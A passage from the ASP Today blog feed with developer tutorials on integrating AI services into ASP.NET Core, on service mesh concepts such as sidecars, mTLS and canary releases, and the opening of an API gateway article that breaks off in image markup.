y2="14"></line></svg></button></div></div></div></a></figure></div><p>Fortunately, <a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core</a> provides an excellent foundation for integrating modern AI services and machine learning models into existing applications. Whether you're calling cloud-hosted large language models, running local ML.NET predictions, or combining multiple AI services into a single workflow, today's tools make it easier than ever to build intelligent applications. </p><p>In this guide, we'll explore practical ways to add AI to ASP.NET Core applications, understand where machine learning fits into modern software architecture, and learn how to build AI features that solve real business problems. </p><h2>Why AI Matters Today</h2><p>Almost every modern application now contains some form of intelligence.</p><p>Examples include:</p><ul><li><p>Product recommendations</p></li><li><p>Smart search</p></li><li><p>Image recognition</p></li><li><p>Voice assistants</p></li><li><p>Email categorization</p></li><li><p>Fraud detection</p></li><li><p>Predictive maintenance</p></li><li><p>Customer support chatbots</p></li></ul><p>Users increasingly expect applications to understand context instead of simply responding to button clicks.</p><p>The good news is that developers no longer need a PhD in machine learning to build these capabilities.</p><p>Many AI services are available through straightforward APIs that integrate naturally with ASP.NET Core. </p><h2>Artificial Intelligence vs Machine Learning</h2><p>These terms are often used interchangeably, but they describe different concepts.</p><p>Artificial Intelligence is the broader goal of building systems that perform tasks requiring human-like intelligence.</p><p>Machine Learning is one approach to achieving that goal.</p><p>Instead of programming every rule manually, machine learning models learn patterns from data.</p><p>Think of it this way.</p><p>Traditional software follows instructions.</p><p>Machine learning discovers instructions from examples.</p><h2>A Simple Example</h2><p>Suppose you&#8217;re building an email application.</p><p>Traditional code might look like this:</p><pre><code><code>If subject contains "Invoice"
Move to Finance folder.</code></code></pre><p>Machine learning instead examines thousands of previous emails and learns which messages belong together, even when the word &#8220;invoice&#8221; never appears. </p><h2>Where ASP.NET Core Fits</h2><p>ASP.NET Core rarely performs heavy AI training itself.</p><p>Instead, it acts as the application layer.</p><p>It:</p><ul><li><p>Receives requests </p></li><li><p>Sends prompts or data to AI services </p></li><li><p>Validates responses </p></li><li><p>Stores results </p></li><li><p>Serves users </p></li></ul><p>This separation keeps applications maintainable while allowing AI models to evolve independently. </p><h2>Common AI Integration Patterns</h2><p>Most ASP.NET Core applications use one of three approaches.</p><h2>Cloud AI APIs</h2><p>The application calls hosted AI services.</p><p>Examples include:</p><ul><li><p>Azure AI Foundry </p></li><li><p>Azure AI Vision </p></li><li><p>Azure AI Document Intelligence </p></li><li><p>Azure AI Speech </p></li><li><p>OpenAI API<br></p></li></ul><p>This is often the quickest way to introduce AI features.</p><h2>ML.NET Models</h2><p>Sometimes organizations prefer running prediction models locally.</p><p>ML.NET enables developers to train and execute machine learning models directly within .NET applications.</p><p><a href="https://learn.microsoft.com/dotnet/machine-learning/">Official documentation</a>:</p><p>This approach works well when:</p><ul><li><p>Internet connectivity is limited. </p></li><li><p>Sensitive information cannot leave the organization. </p></li><li><p>Predictions must happen with very low latency. <br></p></li></ul><h2>Hybrid Solutions</h2><p>Many enterprise applications combine both approaches.</p><p>For example:</p><ul><li><p>ML.NET performs fraud scoring. </p></li><li><p>Azure AI extracts document text. </p></li><li><p>OpenAI summarizes the results. </p></li></ul><p>Each tool performs the task it handles best. </p><h2>Using AI Through Dependency Injection</h2><p>AI clients fit naturally into ASP.NET Core.</p><p>Example:</p><pre><code><code>builder.Services.AddSingleton&lt;IAIService, AIService&gt;();</code></code></pre><p>Controllers remain focused on business logic while dedicated services manage AI interactions.</p><h2>Calling an AI Service</h2><p>Example:</p><pre><code><code>public class ProductController : ControllerBase
{
    private readonly IAIService _ai;

    public ProductController(IAIService ai)
    {
        _ai = ai;
    }

    [HttpPost("summarize")]
    public async Task&lt;string&gt; Summarize(string text)
    {
        return await _ai.SummarizeAsync(text);
    }
}</code></code></pre><p>Notice how the controller doesn&#8217;t know which AI provider is being used.</p><p>This abstraction makes future changes much easier.</p><h2>Practical Use Case: Intelligent Customer Support</h2><p>Suppose customers submit support requests.</p><p>Instead of manually categorizing tickets, AI can automatically determine:</p><ul><li><p>Billing issue </p></li><li><p>Technical problem </p></li><li><p>Shipping question </p></li><li><p>Feature request </p></li></ul><p>Support teams spend less time sorting requests and more time solving problems.</p><h2>Practical Use Case: Smart Search</h2><p>Traditional keyword searches often disappoint users.</p><p>AI-powered semantic search understands intent.</p><p>Searching for:</p><blockquote><p>&#8220;Laptop won&#8217;t charge&#8221;</p></blockquote><p>can return documents discussing:</p><ul><li><p>Power adapter failures </p></li><li><p>Battery problems </p></li><li><p>Charging ports </p></li></ul><p>even when those exact words never appear.</p><h2>Practical Use Case: Document Processing</h2><p>Many businesses process:</p><ul><li><p>Contracts </p></li><li><p>Invoices </p></li><li><p>Insurance claims </p></li><li><p>Medical forms </p></li></ul><p>Azure AI Document Intelligence can extract structured information automatically.</p><p>ASP.NET Core then validates, stores, and presents the results.</p><p>Manual data entry is dramatically reduced.</p><p><a href="https://learn.microsoft.com/azure/ai-services/document-intelligence/">Official documentation</a>:</p><h2>Practical Use Case: Chatbots</h2><p>Modern chatbots go far beyond scripted conversations.</p><p>Using large language models, chatbots can:</p><ul><li><p>Answer product questions </p></li><li><p>Explain documentation </p></li><li><p>Guide customers through troubleshooting </p></li><li><p>Escalate complex issues </p></li></ul><p>ASP.NET Core becomes the orchestration layer connecting users with AI services.</p><h2>Recommendation Engines</h2><p>Streaming platforms and online stores rely heavily on recommendations.</p><p>Machine learning analyzes:</p><ul><li><p>Purchase history </p></li><li><p>Viewing habits </p></li><li><p>User preferences<br></p></li></ul><p>Applications can then recommend relevant products automatically.</p><h2>Fraud Detection</h2><p>Financial systems constantly evaluate transactions.</p><p>Machine learning models examine:</p><ul><li><p>Transaction amounts </p></li><li><p>Purchase frequency </p></li><li><p>Device information </p></li><li><p>Geographic location </p></li></ul><p>Suspicious activity receives higher fraud scores.</p><p>Human investigators review only the highest-risk transactions.</p><h2>Image Recognition</h2><p>Applications can analyze uploaded images.</p><p>Examples include:</p><ul><li><p>Detecting damaged vehicles </p></li><li><p>Classifying products </p></li><li><p>Identifying plant diseases </p></li><li><p>Reading handwritten forms </p></li></ul><p>ASP.NET Core uploads the image while specialized AI services perform analysis.</p><h2>Voice Applications</h2><p>Speech services allow applications to:</p><ul><li><p>Convert speech into text. </p></li><li><p>Convert text into speech. </p></li><li><p>Translate conversations.<br></p></li></ul><p>Customer service systems increasingly combine speech recognition with language models.</p><h2>Responsible AI</h2><p>Adding AI introduces new responsibilities.</p><p>Developers should consider:</p><ul><li><p>Privacy </p></li><li><p>Security  </p></li><li><p>Bias </p></li><li><p>Transparency<br></p></li></ul><p>Users should understand when AI generates content or makes recommendations.</p><p>Human review remains important for high-impact decisions.</p><h2>Protecting Sensitive Data</h2><p>Never send unnecessary confidential information to AI services.</p><p>Before submitting requests:</p><ul><li><p>Remove sensitive identifiers. </p></li><li><p>Minimize personal data. </p></li><li><p>Encrypt communication. </p></li><li><p>Follow organizational compliance requirements.<br></p></li></ul><p>This connects directly with our earlier articles on Data Protection and Zero Trust Architecture.</p><h2>Observability</h2><p>AI systems should be monitored like every other service.</p><p>Track:</p><ul><li><p>Response time </p></li><li><p>Token usage </p></li><li><p>Error rates </p></li><li><p>Model latency </p></li><li><p>Request volume<br></p></li></ul><p>OpenTelemetry integrates well with AI-powered applications.</p><p>Observability helps teams understand cost as well as performance.</p><h2>Prompt Engineering</h2><p>Large language models respond according to the instructions they receive.</p><p>Well-designed prompts produce more reliable results.</p><p>Rather than asking:</p><blockquote><p>&#8220;Summarize this.&#8221;</p></blockquote><p>Consider:</p><blockquote><p>&#8220;Summarize this customer complaint in three bullet points highlighting the primary issue, urgency level, and recommended next action.&#8221;</p></blockquote><p>Clear prompts often improve output quality dramatically.</p><h2>Cost Management</h2><p>AI services usually charge per request or per token.</p><p>Applications should:</p><ul><li><p>Cache repeated responses. </p></li><li><p>Limit unnecessary requests. </p></li><li><p>Select appropriate model sizes. </p></li><li><p>Monitor usage.<br></p></li></ul><p>Good architecture reduces operational costs significantly.</p><h2>Real-World Example</h2><p>Imagine a global logistics company.</p><p>Customers upload shipping documents.</p><p>The workflow becomes:</p><ol><li><p>ASP.NET Core receives the document. </p></li><li><p><a href="https://www.asptoday.com/p/deploying-aspnet-core-applications">Azure AI</a> extracts structured information. </p></li><li><p>ML.NET predicts shipping delays. </p></li><li><p>A language model summarizes unusual issues. </p></li><li><p>Results appear inside the operations dashboard. </p></li></ol><p>No single AI model performs everything.</p><p>Each specializes in one task.</p><p>ASP.NET Core coordinates the entire workflow.</p><h2>How This Fits Your ASP.NET Core Journey</h2><p>Throughout this series we&#8217;ve explored:</p><ul><li><p>Microservices </p></li><li><p>API Gateways </p></li><li><p>Service Meshes </p></li><li><p>Distributed Tracing </p></li><li><p>Zero Trust Security </p></li><li><p>Internal Developer Platforms </p></li></ul><p>Artificial Intelligence becomes another service within this architecture.</p><p>Rather than replacing traditional software design, AI enhances existing systems by making them more intelligent, adaptive, and helpful.</p><h2>Closing Thoughts</h2><p>Artificial Intelligence is changing how users interact with software, but successful AI applications still rely on strong software engineering principles.</p><p>ASP.NET Core provides an excellent foundation for integrating AI services, managing workflows, securing sensitive data, and exposing intelligent capabilities through clean APIs.</p><p>Whether you&#8217;re building chatbots, recommendation engines, document processing systems, or predictive analytics platforms, treating AI as one component of a well-designed architecture leads to applications that are easier to maintain, easier to scale, and far more valuable to users.</p><p>The future of software isn&#8217;t simply AI-powered. It&#8217;s thoughtfully engineered systems where traditional software and intelligent services work together to solve real business problems.</p><h2>Subscribe Now</h2><p>Enjoying this series? Subscribe to <strong><a href="https://www.asptoday.com/">ASP Today</a></strong> for practical ASP.NET Core tutorials, cloud-native architecture guides, AI integration strategies, and enterprise development best practices. Join our Substack Chat to discuss modern .NET development with developers from around the world. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Service Mesh Concepts for ASP.NET Core Developers: Traffic, Security, and Observability]]></title><description><![CDATA[Discover how service meshes simplify secure communication, traffic management, and observability for ASP.NET Core microservices. #ASPToday #aspnetcore #servicemesh #microservices #cloudnative]]></description><link>https://www.asptoday.com/p/service-mesh-concepts-for-aspnet</link><guid isPermaLink="false">https://www.asptoday.com/p/service-mesh-concepts-for-aspnet</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 28 Jul 2026 15:02:03 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Y83A!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f247eba-6a9a-4072-9d30-4e4a53a3a782_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In our previous article, we explored how <a href="https://www.asptoday.com/p/implementing-api-gateways-in-aspnet">API Gateways</a> provide a single entry point for clients accessing your microservices. But what happens after a request enters your system? Once dozens or even hundreds of services begin communicating with one another, managing traffic, securing every connection, and understanding what is happening inside the network becomes a major challenge.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Y83A!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f247eba-6a9a-4072-9d30-4e4a53a3a782_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Y83A!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f247eba-6a9a-4072-9d30-4e4a53a3a782_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!Y83A!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f247eba-6a9a-4072-9d30-4e4a53a3a782_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!Y83A!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f247eba-6a9a-4072-9d30-4e4a53a3a782_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!Y83A!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f247eba-6a9a-4072-9d30-4e4a53a3a782_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Y83A!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f247eba-6a9a-4072-9d30-4e4a53a3a782_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0f247eba-6a9a-4072-9d30-4e4a53a3a782_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2172579,&quot;alt&quot;:&quot;Engineers monitor a holographic service mesh controlling secure traffic between microservices. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/208443421?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f247eba-6a9a-4072-9d30-4e4a53a3a782_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Engineers monitor a holographic service mesh controlling secure traffic between microservices. " title="Engineers monitor a holographic service mesh controlling secure traffic between microservices. " srcset="https://substackcdn.com/image/fetch/$s_!Y83A!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f247eba-6a9a-4072-9d30-4e4a53a3a782_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!Y83A!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f247eba-6a9a-4072-9d30-4e4a53a3a782_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!Y83A!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f247eba-6a9a-4072-9d30-4e4a53a3a782_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!Y83A!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f247eba-6a9a-4072-9d30-4e4a53a3a782_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This is where a service mesh comes in. Rather than adding networking logic to every <a href="https://www.asptoday.com/">ASP.NET Core</a> application, a service mesh transparently manages communication between services, providing traffic control, encryption, security policies, and deep observability without requiring changes to your application code. </p><h2>Life Before a Service Mesh</h2><p>Imagine an online retail platform built with ASP.NET Core.</p><p>It contains separate services for:</p><ul><li><p>Products</p></li><li><p>Orders</p></li><li><p>Inventory</p></li><li><p>Payments</p></li><li><p>Shipping</p></li><li><p>Notifications</p></li><li><p>Customer Accounts</p></li></ul><p>The API Gateway successfully routes incoming requests.</p><p>However, after the request enters your platform, the services begin talking to one another.</p><p>An order service might contact inventory, payment, shipping, and notification services during a single customer purchase.</p><p>As the system grows, each service must handle:</p><ul><li><p>Secure communication</p></li><li><p><a href="https://www.asptoday.com/p/authentication-and-authorization">Authentication</a></p></li><li><p>Retries</p></li><li><p>Timeouts</p></li><li><p>Load balancing</p></li><li><p>Logging</p></li><li><p><a href="https://www.asptoday.com/p/deep-dive-into-distributed-tracing">Distributed tracing</a></p></li><li><p>Encryption</p></li><li><p>Circuit breakers</p></li></ul><p>Every development team ends up writing nearly identical networking code.</p><p>Maintaining that code across dozens of services quickly becomes difficult.</p><h2>What Is a Service Mesh?</h2><p>A service mesh is dedicated infrastructure that manages communication between your microservices.</p><p>Instead of placing networking logic inside every ASP.NET Core application, the mesh handles those responsibilities automatically.</p><p>Your application continues focusing on business logic while the service mesh manages communication behind the scenes.</p><p>Unlike an API Gateway, which handles traffic entering your platform, a service mesh focuses on traffic moving inside your platform.</p><h2>Understanding Sidecar Proxies</h2><p>The heart of a service mesh is the sidecar proxy.</p><p>Each ASP.NET Core service runs alongside its own lightweight proxy.</p><pre><code><code>Client
   &#9474;
   &#9660;
API Gateway
   &#9474;
   &#9660;
Order Service &#8592;&#8594; Sidecar Proxy
                     &#9474;
                     &#9660;
            Inventory Sidecar
                     &#9474;
                     &#9660;
           Inventory Service</code></code></pre><p>Every request passes through these proxies.</p><p>The application never communicates directly with another service.</p><p>Instead, the sidecars handle networking responsibilities.</p><h2>Why Sidecars Matter</h2><p>Because every request flows through a proxy, the service mesh can automatically provide:</p><ul><li><p>Mutual TLS encryption </p></li><li><p>Traffic routing </p></li><li><p>Load balancing </p></li><li><p>Retries </p></li><li><p>Timeouts </p></li><li><p>Observability </p></li><li><p><a href="https://www.asptoday.com/p/authentication-and-authorization">Authentication</a> </p></li><li><p>Authorization </p></li><li><p>Policy enforcement </p></li></ul><p>Your ASP.NET Core applications remain clean and focused.</p><h2>Traffic Management</h2><p>Suppose version two of your Product Service has just been deployed.</p><p>Instead of sending every request to the new version immediately, the mesh can gradually shift traffic.</p><p>For example:</p><ul><li><p>95% of requests continue using Version 1 </p></li><li><p>5% use Version 2</p></li></ul><p>If everything performs well, the percentage gradually increases.</p><p>This approach enables safer deployments.</p><h2>Canary Releases</h2><p>Canary deployments become extremely simple.</p><p>Rather than modifying application code, the service mesh controls how traffic flows between service versions.</p><p>If problems appear, traffic can immediately return to the previous version.</p><p>No code changes are required.</p><h2>Load Balancing</h2><p>Suppose your Inventory Service now runs on six different containers.</p><p>The service mesh distributes traffic automatically across healthy instances.</p><p>Applications simply call Inventory Service.</p><p>The mesh decides which instance should receive the request.</p><h2>Automatic Retries</h2><p>Temporary failures happen frequently.</p><p>A container may restart.</p><p>A network connection might briefly fail.</p><p>Instead of every ASP.NET Core application implementing retry logic independently, the mesh retries failed requests automatically according to configurable policies.</p><h2>Timeouts</h2><p>Long-running requests can consume valuable resources.</p><p>The mesh applies timeout policies before failures spread throughout the system.</p><p>Applications don&#8217;t need to implement timeout logic repeatedly.</p><h2>Circuit Breaking</h2><p>We previously discussed circuit breakers.</p><p>Service meshes implement them automatically.</p><p>When a downstream service becomes unhealthy, the mesh temporarily stops forwarding requests.</p><p>This prevents cascading failures across your platform.</p><h2>Security Between Services</h2><p>One of the biggest advantages of a service mesh is security.</p><p>Without a mesh, developers often need to configure secure communication manually.</p><p>With a mesh, secure communication becomes the default.</p><h2>Mutual TLS</h2><p>Most developers are familiar with HTTPS protecting communication between browsers and servers.</p><p>Inside a microservices platform, every service should also verify the identity of every other service.</p><p>Service meshes accomplish this using Mutual TLS (mTLS).</p><p>Every connection becomes:</p><ul><li><p>Authenticated </p></li><li><p>Encrypted </p></li><li><p>Verified </p></li></ul><p>No application code changes are required.</p><h2>Identity Instead of IP Addresses</h2><p>Traditional systems often trust network locations.</p><p>Modern service meshes trust service identities instead.</p><p>Even if containers move between servers, identities remain consistent.</p><p>This aligns closely with the Zero Trust principles discussed in earlier articles.</p><h2>Policy Enforcement</h2><p>Administrators can define rules such as:</p><ul><li><p>Payment Service can call Inventory Service. </p></li><li><p>Notification Service cannot call Payment Service. </p></li><li><p>Reporting Service has read-only access. </p></li></ul><p>Policies are managed centrally rather than inside dozens of applications.</p><h2>Observability</h2><p>Understanding distributed systems is difficult.</p><p>One customer request may travel through fifteen services.</p><p>Finding performance problems without visibility becomes almost impossible.</p><p>Service meshes automatically collect <a href="https://www.asptoday.com/p/deep-dive-into-distributed-tracing">telemetry</a>.</p><h2>Metrics</h2><p>Without changing your code, the mesh records:</p><ul><li><p>Request count </p></li><li><p>Latency </p></li><li><p>Success rate </p></li><li><p>Error rate </p></li><li><p>Response times </p></li></ul><p>These metrics help teams understand application health.</p><h2>Distributed Tracing</h2><p>Each request receives a trace identifier.</p><p>As requests move between services, the mesh records every step.</p><p>Developers can visualize exactly where delays occur.</p><p>This works beautifully alongside OpenTelemetry, which we explored in our previous observability article.</p><h2>Logging</h2><p>Because every request passes through sidecars, the mesh automatically records communication between services.</p><p>This simplifies troubleshooting without requiring custom logging logic in every application.</p><h2>Popular Service Mesh Technologies</h2><p>Several mature service mesh platforms are widely used.</p><p>The most common include:</p><ul><li><p>Istio </p></li><li><p>Linkerd </p></li><li><p>Kuma </p></li><li><p>Consul Connect </p></li></ul><p>Most integrate naturally with <a href="https://www.asptoday.com/p/aspnet-core-and-kubernetes-from-development">Kubernetes</a>, where ASP.NET Core applications are commonly deployed. </p><h2>Does ASP.NET Core Need Special Code?</h2><p>One of the biggest advantages is that your application usually requires very little modification. </p><p>Your ASP.NET Core services continue communicating using standard HTTP or gRPC.</p><p>The mesh intercepts traffic transparently.</p><p>Business logic remains completely separate from networking infrastructure.</p><h2>API Gateway vs Service Mesh</h2><p>These technologies complement one another rather than compete.</p><p>API Gateway responsibilities include:</p><ul><li><p>Client authentication </p></li><li><p>External routing </p></li><li><p>Rate limiting </p></li><li><p>Public APIs </p></li></ul><p>Service Mesh responsibilities include:</p><ul><li><p>Internal <a href="https://www.asptoday.com/p/routing-in-aspnet-core-beginners-guide">routing</a> </p></li><li><p>Service authentication </p></li><li><p>Mutual TLS </p></li><li><p>Retries </p></li><li><p>Traffic shaping </p></li><li><p>Observability </p></li><li><p>Policy enforcement </p></li></ul><p>Many modern cloud-native systems use both together.</p><h2>Common Mistakes</h2><p>Avoid expecting the service mesh to replace good application design.</p><p>A mesh improves networking, but it does not replace:</p><ul><li><p>Clean architecture </p></li><li><p>Domain boundaries </p></li><li><p>Reliable code </p></li><li><p>Proper error handling </p></li></ul><p>It should enhance your platform, not compensate for poor software design.</p><h2>Real-World Example</h2><p>Imagine a global airline booking platform.</p><p>A customer books a flight.</p><p>The API Gateway accepts the request.</p><p>Behind the scenes:</p><ul><li><p>Booking Service contacts Inventory. </p></li><li><p>Inventory contacts Pricing. </p></li><li><p>Pricing contacts Loyalty. </p></li><li><p>Booking contacts Payments. </p></li><li><p>Payments contacts Notifications. </p></li></ul><p>The customer sees a single confirmation screen.</p><p>Meanwhile, the service mesh securely manages dozens of encrypted service-to-service conversations, balances traffic, retries temporary failures, collects telemetry, and records distributed traces without requiring each application to implement those capabilities individually.</p><h2>How This Fits Your ASP.NET Core Journey</h2><p>So far, we&#8217;ve explored:</p><ul><li><p>API Gateways </p></li><li><p>Zero Trust Security </p></li><li><p>Distributed Tracing </p></li><li><p><a href="https://www.asptoday.com/p/chaos-engineering-for-aspnet-core">Chaos Engineering</a> </p></li><li><p>Internal Developer Platforms </p></li><li><p>Advanced Authorization </p></li></ul><p>Service meshes tie these concepts together by providing a secure, observable communication layer for modern microservices.</p><h2>Closing Thoughts</h2><p>As ASP.NET Core applications continue evolving toward cloud-native architectures, reliable communication between services becomes just as important as the services themselves.</p><p>A service mesh removes much of the complexity traditionally embedded inside application code. By managing traffic, encryption, retries, authentication, and observability at the infrastructure layer, it allows development teams to focus on building business features instead of repeatedly solving networking challenges.</p><p>Whether you&#8217;re deploying a handful of services or operating hundreds across Kubernetes clusters, understanding service mesh concepts will help you build systems that are more secure, more resilient, and significantly easier to operate.</p><h2>Subscribe Now</h2><p>If you&#8217;re enjoying this cloud-native architecture series, subscribe to <strong><a href="https://www.asptoday.com/">ASP Today</a></strong> for practical ASP.NET Core tutorials, real-world architecture guides, and enterprise development best practices. Join our Substack Chat to discuss modern .NET development with developers building scalable applications around the world. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Implementing API Gateways in ASP.NET Core: Routing, Aggregation, and Security]]></title><description><![CDATA[Discover how API Gateways simplify routing, strengthen security, and improve performance in ASP.NET Core microservices. #ASPToday #aspnetcore #microservices #apigateway #dotnet]]></description><link>https://www.asptoday.com/p/implementing-api-gateways-in-aspnet</link><guid isPermaLink="false">https://www.asptoday.com/p/implementing-api-gateways-in-aspnet</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 21 Jul 2026 15:01:41 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!UJ-K!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc91857-e5af-4787-8d99-2a2f8e2538f9_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>As applications evolve into dozens of independent microservices, managing communication between clients and services becomes increasingly complex. Without a central entry point, clients often need to know where every service lives, how each service authenticates requests, and which endpoints to call. API Gateways solve this problem by acting as a single front door for your applications.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UJ-K!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc91857-e5af-4787-8d99-2a2f8e2538f9_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UJ-K!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc91857-e5af-4787-8d99-2a2f8e2538f9_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!UJ-K!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc91857-e5af-4787-8d99-2a2f8e2538f9_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!UJ-K!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc91857-e5af-4787-8d99-2a2f8e2538f9_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!UJ-K!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc91857-e5af-4787-8d99-2a2f8e2538f9_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UJ-K!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc91857-e5af-4787-8d99-2a2f8e2538f9_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5bc91857-e5af-4787-8d99-2a2f8e2538f9_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2191359,&quot;alt&quot;:&quot;Shoppers gather at a central mall information desk guiding visitors to stores across the complex. 